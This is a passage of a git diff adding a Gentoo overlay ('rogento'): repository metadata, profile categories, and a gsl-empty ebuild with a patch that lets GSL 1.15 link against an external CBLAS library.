+	emake || die "emake failed"
+}
+
+src_install() {
+	insinto /usr/$(get_libdir)/crda/
+	doins regulatory.bin
+	doins custom-distro.key.pub.pem
+}
diff --git a/overlay.xml b/overlay.xml
new file mode 100644
index 00000000..c9fcd413
--- /dev/null
+++ b/overlay.xml
@@ -0,0 +1,15 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE repositories SYSTEM "repositories.dtd">
+<repositories xmlns="" version="1.0">
+  <repo quality="experimental" status="unofficial">
+    <name>rogento</name>
+    <description>Romanian enterprise oriented overlay of ebuilds</description>
+    <homepage>https://github.com/BlackNoxis/Rogento</homepage>
+    <owner type="project">
+      <email>stefan.cristian at rogentos.ro</email>
+      <name>Steven Cristian</name>
+    </owner>
+    <source type="git">git://github.com/BlackNoxis/Rogento.git</source>
+    <feed>https://github.com/BlackNoxis/Rogento/commits/master.atom</feed>
+  </repo>
+</repositories>
\ No newline at end of file
diff --git a/profiles/categories b/profiles/categories
new file mode 100644
index 00000000..2c17a14f
--- /dev/null
+++ b/profiles/categories
@@ -0,0 +1,15 @@
+app-admin
+app-misc 
+app-editors
+app-emulation
+dev-python  
+games-strategy  
+games-tycoon
+media-gfx
+media-video
+net-analyzer  
+net-misc  
+profiles  
+x11-drivers
+x11-wm
+ruby
diff --git a/profiles/repo_name b/profiles/repo_name
new file mode 100644
index 00000000..68fe01d0
--- /dev/null
+++ b/profiles/repo_name
@@ -0,0 +1 @@
+rogento
diff --git a/repository.xml b/repository.xml
new file mode 100644
index 00000000..e9c433be
--- /dev/null
+++ b/repository.xml
@@ -0,0 +1,19 @@
+<repositories xmlns="" version="1.0">
+<repo quality="experimental" status="unofficial">
+<name>rogento</name>
+<description>experimental romanian enterprise-oriented ebuilds</description>
+<homepage>
+https://github.com/BlackNoxis/Rogento/wiki/
+</homepage>
+<owner type="project">
+<email>stefan.cristian@best.eu.org</email>
+<name>Steven Cristian</name>
+</owner>
+<source type="git">git://github.com/BlackNoxis/Rogento.git</source>
+<source type="git">
+https://BlackNoxis@github.com/BlackNoxis/Rogento.git
+</source>
+<feed>
+</feed>
+</repo>
+</repositories>
\ No newline at end of file
diff --git a/sci-libs/gsl-empty/Manifest b/sci-libs/gsl-empty/Manifest
new file mode 100644
index 00000000..c29d31be
--- /dev/null
+++ b/sci-libs/gsl-empty/Manifest
@@ -0,0 +1,6 @@
+AUX cblas.pc.in 290 SHA256 f47133de2f49a5ff53c8e295d03fbe8923c79cd0978cedb903cfdf7e57a873a1 SHA512 2a1dc22097e2a50fd4a797c446b32202b74e9d754c8b61c51a3789c3eb42372adcc7fb25901c468d604cc4e7961d7f11e0e5883179894047948e46879fc04719 WHIRLPOOL f8e93aa2c61d3ac08664c3162f0e754c1d6cefca0a4d4ab8ee8f763e6ec46049ff5537c7f9266200856b58ffab88fb9af115eb4be32deb99ed6d2005abcb13ec
+AUX eselect.cblas.gsl 216 SHA256 2be1ba93a0bafa73df52913f54d1c7fd299aa1cd0a98c5fbe4eac894073ebac7 SHA512 e5cd92f4e9829538642a0fed54fdf75bc579c8c20769997ec5a3ce0287993476e68fbeefec8e46162d05ea908d2e79187c15ebdd00f6558ecbd25de21ece64dc WHIRLPOOL 1a0591e670a1ca51fa6cc4b2883931a49f3da59c2c673d786f6acdb72b50b7fee22ee30f2d3c6ac864c149381c23ca5c41ba586f159830cdeff97b86cf6a03f3
+AUX gsl-1.15-cblas.patch 17217 SHA256 1d69dd2d1b37abd541b86fed2b28e9f63e947f92f1b85af1c2f83074b12a8491 SHA512 fd099610b612b44a8b8ab8efd6350894fe7df46c94cf20e9d4377360c4cc31b11a8d9e18f6db6db9d8f4b7098b1d1569167ddb29e30396c656e381d25c1ec852 WHIRLPOOL 4794cfb018f50e59e11eb60bf11d348a7131360d757868aa9f08e75f432ee786d82143cdb3743ce3a526649cc2877b45dbe14eb49464cea9f23add0db87638b5
+DIST gsl-1.15.tar.gz 3281134 SHA256 85b907e57902e2b7606ef3aef960302ffdd13bd9dc5b8fcbfa75e4f0bf340ea3 SHA512 dcea557bcd34d4ee6d2c52741c2f95702e5e6110a99f033b412489b1930d21a40ead29392f754656375801d706df01199878263e856ca3081f9a514dc3299185 WHIRLPOOL 06ffffb83ea56cf6306878063770a117e096352dda3c3dd4a7526153bc770969f61e38fa08c02ec01335bd812581db15e4e5164a7da2363741179268cb393478
+EBUILD gsl-empty-1.15.ebuild 3122 SHA256 3100d494786e24d135222d1767898ae03f0410b7289417f22e34df75aed6b86a SHA512 b45bb46c406b9081258fe6a73b309bc9bf626775047ac8598b893d4de82ce0079df8ecb76b10800b1d548500afdae409f796e415b02da46372ce33a3d19cbfe7 WHIRLPOOL 7a33b3e6dfef930bf57dcb8286315b5ce7a55017b3e881387c30c0fbfa168009c97eccaa4bf1d16e27e3d241a13992d1105255d204dcee3917af993e7e9a91ca
+MISC metadata.xml 1026 SHA256 6df14f9543ae80840437ac04fca5f5b4ca052a722c5146b015eeb26b1c11f1f4 SHA512 02751504e7a1563ca2008426536d03c8d5f00272519f73dccbe4df8f93fa26132fa57eee085cee9e1ce68e396893ef602283d8cd6722ba2f27bb322b8c201951 WHIRLPOOL fcbfd38fc5d1bafc3d3e08d0031b401fd5d67f1dcc1318c9ef57fa443d8998c6f9975d4f9a2b08e1d10e5e0e557511508193fd9742dc6e415067ccd723f740d8
diff --git a/sci-libs/gsl-empty/files/cblas.pc.in b/sci-libs/gsl-empty/files/cblas.pc.in
new file mode 100644
index 00000000..a2580f85
--- /dev/null
+++ b/sci-libs/gsl-empty/files/cblas.pc.in
@@ -0,0 +1,12 @@
+prefix=/usr
+exec_prefix=${prefix}
+libdir=/usr/@LIBDIR@
+includedir=${prefix}/include
+
+Name: cblas
+Description: GSL C Implementation of the Basic Linear Algebra Subprograms
+Version: @PV@
+URL: http://www.gnu.org/software/gsl
+Libs: -L${libdir} -lcblas
+Libs.private: -lm
+Cflags: -I${includedir}
diff --git a/sci-libs/gsl-empty/files/eselect.cblas.gsl b/sci-libs/gsl-empty/files/eselect.cblas.gsl
new file mode 100644
index 00000000..af6fee51
--- /dev/null
+++ b/sci-libs/gsl-empty/files/eselect.cblas.gsl
@@ -0,0 +1,5 @@
+libgslcblas.so /usr/@LIBDIR@/libcblas.so
+libgslcblas.so.0 /usr/@LIBDIR@/libcblas.so.0
+libgslcblas.a /usr/@LIBDIR@/libcblas.a
+../blas/gsl/cblas.pc /usr/@LIBDIR@/pkgconfig/cblas.pc
+gsl/gsl_cblas.h /usr/include/cblas.h
diff --git a/sci-libs/gsl-empty/files/gsl-1.15-cblas.patch b/sci-libs/gsl-empty/files/gsl-1.15-cblas.patch
new file mode 100644
index 00000000..dd402f39
--- /dev/null
+++ b/sci-libs/gsl-empty/files/gsl-1.15-cblas.patch
@@ -0,0 +1,286 @@
+diff -Nur gsl-1.15.orig/acx_cblas.m4 gsl-1.15/acx_cblas.m4
+--- gsl-1.15.orig/acx_cblas.m4	1970-01-01 01:00:00.000000000 +0100
++++ gsl-1.15/acx_cblas.m4	2011-07-28 22:16:03.000000000 +0100
+@@ -0,0 +1,60 @@
++AC_DEFUN([ACX_CBLAS],[
++  use_cblas=no
++  use_cblas_libs="-lcblas -lblas"
++  use_cblas_cflags=""
++
++  AC_ARG_WITH(cblas,
++	[AS_HELP_STRING([--with-cblas], [use external CBLAS library (default is no)])])
++
++  case $with_cblas in
++	yes) use_cblas=yes ;;
++	no | "" ) use_cblas=no ;;
++	-* | */* | *.a | *.so | *.so.* | *.o) use_cblas_libs="$with_cblas" ;;
++	*) use_cblas_libs="-l$with_cblas" ;;
++  esac
++
++  AC_ARG_WITH(cblas-libs,
++	[AS_HELP_STRING([--with-cblas-libs=<libs>],
++	 [external cblas libraries to link with (default is "$use_cblas_libs")])],
++	[use_cblas_libs=$withval], [])
++
++  AC_ARG_WITH(cblas-cflags,
++	[AS_HELP_STRING([--with-cblas-cflags=<flags>],
++	 [extra cflags to compile with external cblas ("-I<dir>")])],
++	[use_cblas_cflags=$withval], [])
++
++  if test x$use_cblas != xno; then
++	if test "x$CBLAS_LIBS" = x; then
++		CBLAS_LIBS="$use_cblas_libs"
++     	fi
++     	if test "x$CBLAS_FLAGS" = x; then
++       		CBLAS_CFLAGS="$use_cblas_cflags"
++   	fi
++
++   	CFLAGS_sav="$CFLAGS"
++   	CFLAGS="$CFLAGS $CBLAS_CFLAGS"
++   	AC_CHECK_HEADER(cblas.h, ,
++		[AC_MSG_ERROR([
++	   	*** Header file cblas.h not found.
++	   	*** If you installed cblas header in a non standard place,
++	   	*** specify its install prefix using the following option
++	   	***  --with-cblas-cflags="-I<include_dir>"])
++	 	])
++   	CFLAGS="$CFLAGS_sav"
++
++   	LIBS_sav="$LIBS"
++   	LIBS="$LIBS $CBLAS_LIBS -lm"
++   	AC_MSG_CHECKING([for cblas_sgemm in $CBLAS_LIBS])
++   	AC_TRY_LINK_FUNC(cblas_sgemm, [use_cblas=yes],
++    		[AC_MSG_ERROR([
++	    	*** Linking with cblas with $LIBS failed.
++       	    	*** If you installed cblas library in a non standard place,
++   	    	*** specify its install prefix using the following option
++	    	***  --with-cblas-libs="-L<lib_dir> -l<lib>"])
++	 	])
++   	AC_MSG_RESULT($use_cblas)
++   	LIBS="$LIBS_sav"
++	AC_SUBST(CBLAS_CFLAGS)
++	AC_SUBST(CBLAS_LIBS)
++ fi
++])
+diff -Nur gsl-1.15.orig/bspline/Makefile.am gsl-1.15/bspline/Makefile.am
+--- gsl-1.15.orig/bspline/Makefile.am	2011-07-28 22:15:49.000000000 +0100
++++ gsl-1.15/bspline/Makefile.am	2011-07-28 22:16:03.000000000 +0100
+@@ -12,6 +12,6 @@
+ 
+ TESTS = $(check_PROGRAMS)
+ 
+-test_LDADD = libgslbspline.la ../linalg/libgsllinalg.la ../permutation/libgslpermutation.la ../blas/libgslblas.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../cblas/libgslcblas.la ../ieee-utils/libgslieeeutils.la  ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la ../statistics/libgslstatistics.la
++test_LDADD = libgslbspline.la ../linalg/libgsllinalg.la ../permutation/libgslpermutation.la ../blas/libgslblas.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la @CBLAS_LINK_LIBS@ ../ieee-utils/libgslieeeutils.la  ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la ../statistics/libgslstatistics.la
+ 
+ test_SOURCES = test.c
+diff -Nur gsl-1.15.orig/configure.ac gsl-1.15/configure.ac
+--- gsl-1.15.orig/configure.ac	2011-07-28 22:15:49.000000000 +0100
++++ gsl-1.15/configure.ac	2011-07-28 22:16:03.000000000 +0100
+@@ -190,6 +190,16 @@
+   AC_CHECK_LIB(m, cos)
+ fi
+ 
++sinclude(acx_cblas.m4)
++ACX_CBLAS
++if test "x$CBLAS_LIBS" != "x"; then
++   CBLAS_LINK_LIBS="$CBLAS_LIBS"
++else
++   CBLAS_LINK_LIBS="\$(top_builddir)/cblas/libgslcblas.la"
++   CBLAS_LIBS="-lgslcblas"
++fi
++AC_SUBST(CBLAS_LINK_LIBS)
++
+ dnl Remember to put a definition in acconfig.h for each of these
+ AC_CHECK_DECLS(feenableexcept,,,[#define _GNU_SOURCE 1
+ #include <fenv.h>]) 
+diff -Nur gsl-1.15.orig/eigen/Makefile.am gsl-1.15/eigen/Makefile.am
+--- gsl-1.15.orig/eigen/Makefile.am	2011-07-28 22:15:49.000000000 +0100
++++ gsl-1.15/eigen/Makefile.am	2011-07-28 22:16:03.000000000 +0100
+@@ -11,7 +11,7 @@
+ 
+ TESTS = $(check_PROGRAMS)
+ 
+-test_LDADD = libgsleigen.la  ../test/libgsltest.la ../linalg/libgsllinalg.la ../permutation/libgslpermutation.la ../blas/libgslblas.la ../cblas/libgslcblas.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la  ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../sys/libgslsys.la ../err/libgslerr.la ../utils/libutils.la ../rng/libgslrng.la ../sort/libgslsort.la
++test_LDADD = libgsleigen.la  ../test/libgsltest.la ../linalg/libgsllinalg.la ../permutation/libgslpermutation.la ../blas/libgslblas.la @CBLAS_LINK_LIBS@ ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la  ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../sys/libgslsys.la ../err/libgslerr.la ../utils/libutils.la ../rng/libgslrng.la ../sort/libgslsort.la
+ 
+ test_SOURCES = test.c
+ 
+diff -Nur gsl-1.15.orig/gsl-config.in gsl-1.15/gsl-config.in
+--- gsl-1.15.orig/gsl-config.in	2011-07-28 22:15:49.000000000 +0100
++++ gsl-1.15/gsl-config.in	2011-07-28 22:16:03.000000000 +0100
+@@ -58,11 +58,11 @@
+ 	;;
+ 
+     --cflags)
+-       	echo @GSL_CFLAGS@ 
++       	echo @GSL_CFLAGS@ @CBLAS_CFLAGS@ 
+        	;;
+ 
+     --libs)
+-        : ${GSL_CBLAS_LIB=-lgslcblas}
++        : ${GSL_CBLAS_LIB=@CBLAS_LIBS@}
+ 	echo @GSL_LIBS@ $GSL_CBLAS_LIB @GSL_LIBM@
+        	;;
+ 
+diff -Nur gsl-1.15.orig/gsl.pc.in gsl-1.15/gsl.pc.in
+--- gsl-1.15.orig/gsl.pc.in	2011-07-28 22:15:49.000000000 +0100
++++ gsl-1.15/gsl.pc.in	2011-07-28 22:20:14.000000000 +0100
+@@ -2,7 +2,7 @@
+ exec_prefix=@exec_prefix@
+ libdir=@libdir@
+ includedir=@includedir@
+-GSL_CBLAS_LIB=-lgslcblas
++GSL_CBLAS_LIB=@CBLAS_LIBS@
+ 
+ Name: GSL
+ Description: GNU Scientific Library
+diff -Nur gsl-1.15.orig/interpolation/Makefile.am gsl-1.15/interpolation/Makefile.am
+--- gsl-1.15.orig/interpolation/Makefile.am	2011-07-28 22:15:49.000000000 +0100
++++ gsl-1.15/interpolation/Makefile.am	2011-07-28 22:16:03.000000000 +0100
+@@ -10,7 +10,7 @@
+ 
+ TESTS = $(check_PROGRAMS)
+ 
+-test_LDADD = libgslinterpolation.la ../poly/libgslpoly.la ../linalg/libgsllinalg.la ../permutation/libgslpermutation.la ../blas/libgslblas.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../cblas/libgslcblas.la ../ieee-utils/libgslieeeutils.la  ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la
++test_LDADD = libgslinterpolation.la ../poly/libgslpoly.la ../linalg/libgsllinalg.la ../permutation/libgslpermutation.la ../blas/libgslblas.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la @CBLAS_LINK_LIBS@ ../ieee-utils/libgslieeeutils.la  ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la
+ 
+ test_SOURCES = test.c
+ 
+diff -Nur gsl-1.15.orig/linalg/Makefile.am gsl-1.15/linalg/Makefile.am
+--- gsl-1.15.orig/linalg/Makefile.am	2011-07-28 22:15:49.000000000 +0100
++++ gsl-1.15/linalg/Makefile.am	2011-07-28 22:16:03.000000000 +0100
+@@ -12,7 +12,7 @@
+ 
+ check_PROGRAMS = test
+ 
+-test_LDADD = libgsllinalg.la ../blas/libgslblas.la ../cblas/libgslcblas.la ../permutation/libgslpermutation.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la
++test_LDADD = libgsllinalg.la ../blas/libgslblas.la @CBLAS_LINK_LIBS@ ../permutation/libgslpermutation.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la
+ 
+ test_SOURCES = test.c
+ 
+diff -Nur gsl-1.15.orig/Makefile.am gsl-1.15/Makefile.am
+--- gsl-1.15.orig/Makefile.am	2011-07-28 22:15:49.000000000 +0100
++++ gsl-1.15/Makefile.am	2011-07-28 22:16:03.000000000 +0100
+@@ -19,13 +19,12 @@
+ 
+ lib_LTLIBRARIES = libgsl.la
+ libgsl_la_SOURCES = version.c
+-libgsl_la_LIBADD = $(SUBLIBS)
++libgsl_la_LIBADD = $(SUBLIBS) @CBLAS_LINK_LIBS@
+ libgsl_la_LDFLAGS = -version-info $(GSL_LT_VERSION)
+ noinst_HEADERS = templates_on.h templates_off.h build.h
+ 
+ MINGW32_HOST = @MINGW32_HOST@
+ if MINGW32_HOST
+-libgsl_la_LIBADD += cblas/libgslcblas.la
+ libgsl_la_LDFLAGS += -no-undefined
+ endif
+ 
+@@ -35,10 +34,10 @@
+ bin_PROGRAMS = gsl-randist gsl-histogram
+ 
+ gsl_randist_SOURCES = gsl-randist.c
+-gsl_randist_LDADD = libgsl.la cblas/libgslcblas.la
++gsl_randist_LDADD = libgsl.la
+ 
+ gsl_histogram_SOURCES = gsl-histogram.c
+-gsl_histogram_LDADD = libgsl.la cblas/libgslcblas.la
++gsl_histogram_LDADD = libgsl.la
+ 
+ check_SCRIPTS = test_gsl_histogram.sh pkgconfig.test
+ TESTS = test_gsl_histogram.sh pkgconfig.test
+@@ -57,6 +56,8 @@
+ 	-e 's|@GSL_CFLAGS[@]|$(GSL_CFLAGS)|g' \
+ 	-e 's|@GSL_LIBM[@]|$(GSL_LIBM)|g' \
+ 	-e 's|@GSL_LIBS[@]|$(GSL_LIBS)|g' \
++	-e 's|@CBLAS_CFLAGS[@]|$(CBLAS_CFLAGS)|g' \
++	-e 's|@CBLAS_LIBS[@]|$(CBLAS_LIBS)|g' \
+ 	-e 's|@LIBS[@]|$(LIBS)|g' \
+ 	-e 's|@VERSION[@]|$(VERSION)|g'
+ 
+diff -Nur gsl-1.15.orig/multifit/Makefile.am gsl-1.15/multifit/Makefile.am
+--- gsl-1.15.orig/multifit/Makefile.am	2011-07-28 22:15:49.000000000 +0100
++++ gsl-1.15/multifit/Makefile.am	2011-07-28 22:16:03.000000000 +0100
+@@ -13,8 +13,8 @@
+ TESTS = $(check_PROGRAMS)
+ 
+ test_SOURCES = test.c
+-test_LDADD = libgslmultifit.la ../linalg/libgsllinalg.la ../permutation/libgslpermutation.la ../blas/libgslblas.la ../cblas/libgslcblas.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la  ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../utils/libutils.la ../sys/libgslsys.la
++test_LDADD = libgslmultifit.la ../linalg/libgsllinalg.la ../permutation/libgslpermutation.la ../blas/libgslblas.la @CBLAS_LINK_LIBS@ ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la  ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../utils/libutils.la ../sys/libgslsys.la
+ 
+ #demo_SOURCES = demo.c
+-#demo_LDADD = libgslmultifit.la ../linalg/libgsllinalg.la ../permutation/libgslpermutation.la ../blas/libgslblas.la ../cblas/libgslcblas.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../randist/libgslrandist.la ../rng/libgslrng.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../utils/libutils.la ../sys/libgslsys.la
++#demo_LDADD = libgslmultifit.la ../linalg/libgsllinalg.la ../permutation/libgslpermutation.la ../blas/libgslblas.la @CBLAS_LINK_LIBS@ ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../randist/libgslrandist.la ../rng/libgslrng.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../utils/libutils.la ../sys/libgslsys.la
+ 
+diff -Nur gsl-1.15.orig/multimin/Makefile.am gsl-1.15/multimin/Makefile.am
+--- gsl-1.15.orig/multimin/Makefile.am	2011-07-28 22:15:49.000000000 +0100
++++ gsl-1.15/multimin/Makefile.am	2011-07-28 22:16:03.000000000 +0100
+@@ -13,8 +13,8 @@
+ TESTS = $(check_PROGRAMS) 
+ 
+ test_SOURCES = test.c test_funcs.c test_funcs.h
+-test_LDADD = libgslmultimin.la ../min/libgslmin.la ../poly/libgslpoly.la ../blas/libgslblas.la ../cblas/libgslcblas.la ../linalg/libgsllinalg.la ../permutation/libgslpermutation.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la
++test_LDADD = libgslmultimin.la ../min/libgslmin.la ../poly/libgslpoly.la ../blas/libgslblas.la @CBLAS_LINK_LIBS@ ../linalg/libgsllinalg.la ../permutation/libgslpermutation.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la
+ 
+ #demo_SOURCES = demo.c 
+-#demo_LDADD = libgslmultimin.la ../min/libgslmin.la ../blas/libgslblas.la ../cblas/libgslcblas.la ../linalg/libgsllinalg.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la
++#demo_LDADD = libgslmultimin.la ../min/libgslmin.la ../blas/libgslblas.la @CBLAS_LINK_LIBS@ ../linalg/libgsllinalg.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la
+ 
+diff -Nur gsl-1.15.orig/multiroots/Makefile.am gsl-1.15/multiroots/Makefile.am
+--- gsl-1.15.orig/multiroots/Makefile.am	2011-07-28 22:15:49.000000000 +0100
++++ gsl-1.15/multiroots/Makefile.am	2011-07-28 22:16:03.000000000 +0100
+@@ -15,5 +15,5 @@
+ TESTS = $(check_PROGRAMS)
+ 
+ test_SOURCES = test.c test_funcs.c test_funcs.h
+-test_LDADD = libgslmultiroots.la ../linalg/libgsllinalg.la ../blas/libgslblas.la ../cblas/libgslcblas.la ../permutation/libgslpermutation.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la  ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la
++test_LDADD = libgslmultiroots.la ../linalg/libgsllinalg.la ../blas/libgslblas.la @CBLAS_LINK_LIBS@ ../permutation/libgslpermutation.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la  ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la
+ 
+diff -Nur gsl-1.15.orig/ode-initval/Makefile.am gsl-1.15/ode-initval/Makefile.am
+--- gsl-1.15.orig/ode-initval/Makefile.am	2011-07-28 22:15:49.000000000 +0100
++++ gsl-1.15/ode-initval/Makefile.am	2011-07-28 22:16:03.000000000 +0100
+@@ -12,7 +12,7 @@
+ 
+ TESTS = $(check_PROGRAMS)
+ 
+-test_LDADD = libgslodeiv.la ../linalg/libgsllinalg.la ../blas/libgslblas.la ../cblas/libgslcblas.la ../matrix/libgslmatrix.la ../permutation/libgslpermutation.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la  ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la 
++test_LDADD = libgslodeiv.la ../linalg/libgsllinalg.la ../blas/libgslblas.la @CBLAS_LINK_LIBS@ ../matrix/libgslmatrix.la ../permutation/libgslpermutation.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la  ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la 
+ 
+ test_SOURCES = test.c
+ 
+diff -Nur gsl-1.15.orig/poly/Makefile.am gsl-1.15/poly/Makefile.am
+--- gsl-1.15.orig/poly/Makefile.am	2011-07-28 22:15:49.000000000 +0100
++++ gsl-1.15/poly/Makefile.am	2011-07-28 22:16:03.000000000 +0100
+@@ -10,7 +10,7 @@
+ 
+ TESTS = $(check_PROGRAMS)
+ 
+-check_PROGRAMS = test
++#check_PROGRAMS = test
+ 
+ test_SOURCES = test.c
+ test_LDADD = libgslpoly.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la
+diff -Nur gsl-1.15.orig/specfunc/Makefile.am gsl-1.15/specfunc/Makefile.am
+--- gsl-1.15.orig/specfunc/Makefile.am	2011-07-28 22:15:49.000000000 +0100
++++ gsl-1.15/specfunc/Makefile.am	2011-07-28 22:16:03.000000000 +0100
+@@ -12,7 +12,7 @@
+ 
+ check_PROGRAMS = test
+ 
+-test_LDADD = libgslspecfunc.la ../eigen/libgsleigen.la ../linalg/libgsllinalg.la  ../sort/libgslsort.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../blas/libgslblas.la ../cblas/libgslcblas.la ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la  ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la
++test_LDADD = libgslspecfunc.la ../eigen/libgsleigen.la ../linalg/libgsllinalg.la  ../sort/libgslsort.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../blas/libgslblas.la @CBLAS_LINK_LIBS@ ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la  ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la
+ 
+ test_SOURCES = test_sf.c test_sf.h test_airy.c test_bessel.c test_coulomb.c test_dilog.c test_gamma.c test_hyperg.c test_legendre.c test_mathieu.c
+   
+diff -Nur gsl-1.15.orig/wavelet/Makefile.am gsl-1.15/wavelet/Makefile.am
+--- gsl-1.15.orig/wavelet/Makefile.am	2011-07-28 22:15:49.000000000 +0100
++++ gsl-1.15/wavelet/Makefile.am	2011-07-28 22:16:03.000000000 +0100
+@@ -10,7 +10,7 @@
+ 
+ TESTS = $(check_PROGRAMS)
+ 
+-test_LDADD = libgslwavelet.la ../blas/libgslblas.la ../cblas/libgslcblas.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../ieee-utils/libgslieeeutils.la  ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la
++test_LDADD = libgslwavelet.la ../blas/libgslblas.la @CBLAS_LINK_LIBS@ ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../ieee-utils/libgslieeeutils.la  ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la
+ 
+ test_SOURCES = test.c
+ 
diff --git a/sci-libs/gsl-empty/gsl-empty-1.15.ebuild b/sci-libs/gsl-empty/gsl-empty-1.15.ebuild
new file mode 100644
index 00000000..aa5de3c1
--- /dev/null
+++ b/sci-libs/gsl-empty/gsl-empty-1.15.ebuild
@@ -0,0 +1,112 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit eutils flag-o-matic autotools toolchain-funcs
+
+MY_PN="gsl"
+MY_P="${MY_PN}"-"${PV}"
+
+DESCRIPTION="The GNU Scientific Library"
+HOMEPAGE="http://www.gnu.org/software/gsl/"
+SRC_URI="mirror://gnu/${MY_PN}/${MY_P}.tar.gz"
+
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ia64 ~mips ~ppc ~ppc64 ~s390 ~sh ~sparc ~x86 ~x86-fbsd ~x86-interix ~amd64-linux ~x86-linux ~x86-macos ~sparc-solaris ~x86-solaris"
+IUSE="cblas-external static-libs"
+
+RDEPEND="cblas-external? ( virtual/cblas )"
+DEPEND="${RDEPEND}
+	app-admin/eselect-cblas
+	virtual/pkgconfig"
+
+DOCS=( AUTHORS BUGS ChangeLog NEWS README THANKS TODO )
+
+S="${WORKDIR}"/${MY_P}
+
+pkg_pretend() {
+	if [[ ${MERGE_TYPE} != binary ]]; then
+		# prevent to use external cblas from a previously installed gsl
+		local current_lib
+		if use cblas-external; then
+			current_lib=$(eselect cblas show | cut -d' ' -f2)
+			if [[ ${current_lib} == gsl ]]; then
+				ewarn "USE flag cblas-external is set: linking gsl with an external cblas."
+				ewarn "However the current selected external cblas is gsl."
+				ewarn "Please install and/or eselect another cblas"
+				die "Circular gsl dependency"
+			fi
+		fi
+	fi
+}
+
+pkg_setup() {
+	ESELECT_PROF="gsl"
+
+	if [[ ${MERGE_TYPE} != binary ]]; then
+		# bug 349005
+		[[ $(tc-getCC)$ == *gcc* ]] && \
+			[[ $(tc-getCC)$ != *apple* ]] && \
+			[[ $(gcc-major-version)$(gcc-minor-version) -eq 44 ]] \
+			&& filter-mfpmath sse
+		filter-flags -ffast-math
